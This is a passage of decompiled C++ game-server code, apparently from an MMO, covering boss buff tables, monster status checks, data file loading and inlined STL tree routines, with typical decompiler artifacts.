0x47u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0054C800) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x160u, 0x51u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0054C8B0) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sbbt_NextTick = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"); } //----- (0054C910) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::smo_BossAbstateSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"); } //----- (0054C950) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_BossAbstateGet(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_BossAbstateGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_BossAbstateGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 2230); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_BossAbstateGet"); return v2; } //----- (0054C9C0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0054CA20) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0054CA80) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0054CAE0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0054CB40) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 29) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 29) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 29) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 29) ); if ( !*(_BYTE *)(v4 + 29) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 29); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (0054CBA0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 37) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 37) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 37) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 37) ); if ( !*(_BYTE *)(v4 + 37) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 37); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (0054CC00) -------------------------------------------------------- std::list,std::allocator > >::iterator *__cdecl std::copy_backward(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest) { std::list,std::allocator > >::iterator *v3; // ecx@1 std::list,std::allocator > >::iterator *result; // eax@1 int v5; // esi@2 v3 = _Last; for ( result = _Dest; v3 != _First; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5 ) { v5 = *(_DWORD *)&v3[-1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; --v3; --result; } return result; } //----- (0054CC30) -------------------------------------------------------- AbnormalStateInfo::ABSTATEINDEX *__cdecl std::copy(AbnormalStateInfo::ABSTATEINDEX *_First, AbnormalStateInfo::ABSTATEINDEX *_Last, AbnormalStateInfo::ABSTATEINDEX *_Dest) { AbnormalStateInfo::ABSTATEINDEX *v3; // ecx@1 AbnormalStateInfo::ABSTATEINDEX *result; // eax@1 v3 = _First; for ( result = _Dest; v3 != _Last; ++result ) { *result = *v3; ++v3; } return result; } //----- (0054CC60) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x20u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; *(_DWORD *)&result->_Myval.sbt_Buffer = *(_DWORD *)&_Val->sbt_Buffer; result->_Myval.sbt_AbstateIndex = _Val->sbt_AbstateIndex; result->_Myval.sbt_Dictionary = _Val->sbt_Dictionary; result->_Myval.sbt_AbstateStrength = _Val->sbt_AbstateStrength; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (0054CCB0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x28u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; *(_DWORD *)&result->_Myval.maa_MobID = *(_DWORD *)&_Val->maa_MobID; result->_Myval.maa_ActionType = _Val->maa_ActionType; result->_Myval.maa_Abstate.Index = _Val->maa_Abstate.Index; result->_Myval.maa_Abstate.Strength = _Val->maa_Abstate.Strength; result->_Myval.maa_Abstate.Rate = _Val->maa_Abstate.Rate; result->_Myval.maa_Abstate.Range = _Val->maa_Abstate.Range; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (0054CD10) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x20u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (0054CD50) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x28u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (0054CD90) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (0054CDD0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (0054CE10) -------------------------------------------------------- int __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck(BossFieldContent::MobAbstateCheckAtDead *this, List *lst) { BossFieldContent::MobAbstateCheckAtDead *v2; // ebx@1 AbnormalStateInfo::ABSTATEINDEX *v3; // ecx@1 int result; // eax@3 List *v5; // ebp@4 unsigned __int16 v6; // di@5 unsigned __int16 v7; // si@6 ListStruct *v8; // ecx@7 int v9; // eax@7 bool v10; // cf@7 int v11; // eax@8 char *v12; // eax@10 AbnormalStateInfo::ABSTATEINDEX *v13; // edx@10 AbnormalStateInfo::ABSTATEINDEX *v14; // ecx@10 int v15; // eax@16 unsigned __int16 v16; // si@16 unsigned __int16 v17; // di@17 ListStruct *v18; // ecx@18 int v19; // eax@18 unsigned __int16 v20; // dx@18 int v21; // eax@19 ORErrorMessage *v22; // eax@20 AbnormalStateContainer::AbstateElementInObject *v23; // eax@22 int v24; // eax@22 int v25; // esi@22 unsigned __int16 lt; // [sp+10h] [bp-18h]@16 unsigned __int16 v27; // [sp+12h] [bp-16h]@22 List *v28; // [sp+14h] [bp-14h]@16 int v29; // [sp+18h] [bp-10h]@16 int v30; // [sp+24h] [bp-4h]@1 int lsta; // [sp+2Ch] [bp+4h]@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->macad_List._Myfirst; v30 = 0; if ( v3 && v2->macad_List._Mylast - v3 ) { v5 = lst; if ( v2->macad_Type ) { lt = lst->l_MaxSize; v15 = lst->l_Finger.store; v29 = 0; v16 = lst->l_Array[v15].ls_Next; v28 = lst; while ( 1 ) { v17 = lst->l_MaxSize; if ( v16 >= v17 ) break; v18 = lst->l_Array; v19 = v16; v20 = v16; v10 = v16 < v17; v16 = v18[v16].ls_Next; lt = v20; if ( !v10 ) break; v21 = (int)&v18[v19]; if ( !*(_BYTE *)(v21 + 8) ) break; v22 = *(ORErrorMessage **)v21; if ( !v22 ) break; if ( *(char **)v2->macad_List._Myfirst == AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex(v22) ) { v27 = v16; v23 = ListTraveler::operator_((ListTraveler *)<); v24 = AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(v23); --funcallanalizer.fca_stackpoint; v25 = v24; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); return v25; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = 0; } else { v6 = lst->l_Array[lst->l_Finger.store].ls_Next; lsta = 0; while ( 1 ) { v7 = v5->l_MaxSize; if ( v6 >= v7 ) break; v8 = v5->l_Array; v9 = v6; v10 = v6 < v7; v6 = v8[v6].ls_Next; if ( !v10 ) break; v11 = (int)&v8[v9]; if ( !*(_BYTE *)(v11 + 8) ) break; if ( !*(_DWORD *)v11 ) break; v12 = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex(*(ORErrorMessage **)v11); v13 = v2->macad_List._Mylast; v14 = v2->macad_List._Myfirst; if ( v14 != v13 ) { do { if ( *(char **)v14 == v12 ) break; ++v14; } while ( v14 != v13 ); if ( v14 != v13 ) ++lsta; } } --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = lsta; } } else { --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = 0; } return result; } //----- (0054D040) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::find(...) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.sbt_Buffer >= _Keyval->sbt_Buffer ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->sbt_Buffer < v3->_Myval.sbt_Buffer ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (0054D0B0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, BossFieldContent::MobAutomaticAction *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.maa_MobID >= _Keyval->maa_MobID ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->maa_MobID < v3->_Myval.maa_MobID ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (0054D120) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ucopy(std::allocator,std::allocator > >::iterator> *_Al, std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *__formal) { return std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (0054D140) -------------------------------------------------------- BossFieldContent::ServentBuffBossTable::ServentBossTable *__thiscall BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer(BossFieldContent::ServentBuffBossTable *this, std::_Tree,std::allocator,0> >::iterator ID) { BossFieldContent::ServentBuffBossTable *v2; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 BossFieldContent::ServentBuffBossTable::ServentBossTable *result; // eax@2 BossFieldContent::ServentBuffBossTable::ServentBossTable *v5; // esi@3 BossFieldContent::ServentBuffBossTable::ServentBossTable key; // [sp+8h] [bp-1Ch]@1 int v7; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; key.sbt_Buffer = *(_WORD *)&ID; std::_Tree_std::allocator_0>>::find( &v2->sbbt_List.baseclass_0, &ID, &key); v3 = v2->sbbt_List.baseclass_0._Myhead; --funcallanalizer.fca_stackpoint; v7 = -1; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)ID == v3 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); result = 0; } else { v5 = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)(*(_DWORD *)&ID + 12); FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); result = v5; } return result; } //----- (0054D210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_IBuffToBuffee(void *this) { void *v1; // esi@1 BossFieldContent::ServentBuffBossTable::ServentBossTable *v2; // eax@2 AxialListMobStateSet almss; // [sp+Ch] [bp-24h]@3 int v4; // [sp+2Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_IBuffToBuffee"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_IBuffToBuffee"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( BossFieldContent::g_ServentBuffBossTable.sbbt_NextTick < clockwatch.cw_CurrTick ) { v2 = BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer( &BossFieldContent::g_ServentBuffBossTable, ***((_WORD ***)v1 + 1894)); if ( v2 ) { AxialListMobStateSet::AxialListMobStateSet( &almss, v2->sbt_Buffee, v2->sbt_AbstateIndex, v2->sbt_AbstateStrength, v2->sbt_Dictionary, 6000); LOBYTE(v4) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&almss, 1); LOBYTE(v4) = 0; AxialListMobStateSet::_AxialListMobStateSet(&almss); } } --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_IBuffToBuffee"); } //----- (0054D310) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__thiscall BossFieldContent::ListOfMobStateCheckAtDead::operator__(BossFieldContent::ListOfMobStateCheckAtDead *this, unsigned __int16 mobid) { int *v2; // edx@1 signed int v3; // eax@2 BossFieldContent::MobAbstateCheckAtDead *result; // eax@5 BossFieldContent::MobAbstateCheckAtDead *v5; // esi@6 unsigned int v6; // edi@6 v2 = this->lomscad_IndexList._Myfirst; if ( v2 ) v3 = this->lomscad_IndexList._Mylast - v2; else v3 = 0; if ( mobid < (unsigned int)v3 ) { v5 = this->lomscad_StructList._Myfirst; v6 = this->lomscad_IndexList._Myfirst[mobid]; if ( v5 && v6 < this->lomscad_StructList._Mylast - v5 ) result = &v5[v6]; else result = this->lomscad_StructList._Myfirst; } else { result = this->lomscad_StructList._Myfirst; } return result; } //----- (0054D370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_BossAbstateSet(void *this) { void *v1; // esi@1 unsigned __int16 **v2; // eax@1 unsigned __int16 *v3; // eax@2 BossFieldContent::MobAbstateCheckAtDead *v4; // edi@3 int v5; // eax@4 char *v6; // [sp-4h] [bp-20h]@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_BossAbstateSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (unsigned __int16 **)*((_DWORD *)v1 + 1894); *((_DWORD *)v1 + 2230) = 0; if ( v2 && (v3 = *v2) != 0 ) { v4 = BossFieldContent::ListOfMobStateCheckAtDead::operator__(&BossFieldContent::g_ListOfMobStateCheckAtDead, *v3); if ( v4 ) { v5 = AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList((char *)v1 + 204); *((_DWORD *)v1 + 2230) = BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck( v4, (List *)v5); } v6 = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; } else { v6 = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (0054D440) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::maal_MobDamaged(BossFieldContent::MobAutomaticActionList *this, std::_Tree,std::allocator,0> >::iterator mobid, #331 *attacker) { BossFieldContent::MobAutomaticActionList *v3; // esi@1 std::_Tree,std::allocator,0> >::iterator v4; // edi@1 int v5; // esi@3 BossFieldContent::MobAutomaticAction key; // [sp+Ch] [bp-24h]@1 int v7; // [sp+2Ch] [bp-4h]@1 int v8; // [sp+3Ch] [bp+Ch]@0 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; key.maa_MobID = *(_WORD *)&mobid; std::_Tree_std::allocator_0>>::find( &v3->maal_Set.baseclass_0, &mobid, &key); v4 = mobid; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)mobid != v3->maal_Set.baseclass_0._Myhead ) { if ( *(_DWORD *)(*(_DWORD *)&mobid + 16) == 1 ) { v5 = (int)attacker; if ( attacker ) { if ( (signed int)RandomBox::rb_1000(&rndbox) < *(_DWORD *)(*(_DWORD *)&mobid + 28) && ShineObjectClass::ShineObject::so_DistanceSquar(v5, v8) < (unsigned int)(*(_DWORD *)(*(_DWORD *)&v4 + 32) * *(_DWORD *)(*(_DWORD *)&v4 + 32)) ) (*(void (__thiscall **)(int, int, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 1540))( v5, v5, *(_DWORD *)(*(_DWORD *)&v4 + 20), *(_DWORD *)(*(_DWORD *)&v4 + 24), 1); } } } --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"); } // 54D440: inconsistent function type and number of purged bytes //----- (0054D550) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Insert(...) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)(&pathfindtable.pft_table[1411][1203].pfc_distance + 1) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = 